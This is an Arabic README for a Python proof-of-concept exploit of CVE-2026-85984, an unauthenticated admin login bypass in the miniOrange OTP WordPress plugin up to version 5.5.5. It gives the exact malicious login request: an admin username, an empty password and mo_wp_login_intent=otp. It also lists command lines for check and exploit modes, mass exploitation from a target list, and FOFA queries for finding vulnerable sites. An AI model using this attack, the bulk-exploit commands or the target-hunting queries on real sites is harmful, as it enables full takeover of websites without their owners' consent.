CVE-2026-85984 — تسجيل الدخول عبر OTP من miniOrange (تجاوز المصادقة)

إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-85984 — miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5.

الوصف (PoCbit / GitHub)

CVE-2026-85984 — تجاوز مصادقة غير مُصادَق عليه (CWE-287) عبر معامل POST mo_wp_login_intent=otp مع كلمة مرور فارغة. في فرع skip_pass_fallback من mo_by_pass_login()، تتخطى الإضافة wp_authenticate_username_password()، وتحدد المستخدم باسم المستخدم فقط، وتعتبر دور المسؤول (administrator) كافيًا عند تفعيل خيارات Admin OTP Bypass.

الهجوم: wp-login.php مع log=<admin_user>، pwd= (فارغة)، mo_wp_login_intent=otp.

الشروط (يجب أن يفعّلها مسؤول الموقع جميعًا):

1. WP Login OTP
2. Login with Only OTP
3. Allow Users to Login with Username and Password
4. Admin OTP Bypass

CVSS 3.1: 9.8 حرج (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). الإصلاح: 5.5.6+ (Wordfence CNA، المكتشف Supakiad S. / m3ez).

صفحة PoC: https://pocbit.org/pocs/cve-2026-85984

PoCbit

الفهرس: https://pocbit.org/pocs/

معرّف الإضافة (slug)	miniorange-otp-verification
المتأثرة	≤ 5.5.5
المُصلحة	5.5.6+
ناقل الهجوم	wp-login.php + mo_wp_login_intent=otp
التأثير	جلسة مسؤول (اختراق كامل للموقع)

يتضمن PoC لافتة CLI ملوّنة، وفحص الإضافة/الإصدار، وتعداد مستخدمين اختياري (REST/author)، ومحاولة تجاوز --mode exploit، وJSONL جماعي مع pocbit / pocbit_catalog / pocbit_page.

الاستخدام

pip install -r requirements.txt

python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --probe-login
python poc.py -u https://wordpress.example --mode exploit --username admin
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py -u https://wordpress.example --mode exploit --no-color

FOFA / hunt

body="/wp-content/plugins/miniorange-otp-verification"
body="mo_wp_login_intent"

GitHub About (EN)

CVE-2026-85984 PoC: WordPress miniOrange OTP ≤5.5.5 تجاوز مسؤول غير مُصادَق عليه عبر mo_wp_login_intent=otp + كلمة مرور فارغة. أوضاع الفحص/الاستغلال، CLI ملوّن. PoCbit

Ösum (TR)

CVE-2026-85984: في إضافة miniOrange OTP، كلمة مرور فارغة + mo_wp_login_intent=otp تؤدي إلى جلسة مسؤول (تتطلب إعدادات OTP خاطئة). تصحيح 5.5.6. PoC: واجهة ملوّنة + وضع الاستغلال.

قانوني

للاختبار المصرّح به فقط. لا تستخدمه على أنظمة لا تملكها أو تفتقر إلى إذن لاختبارها.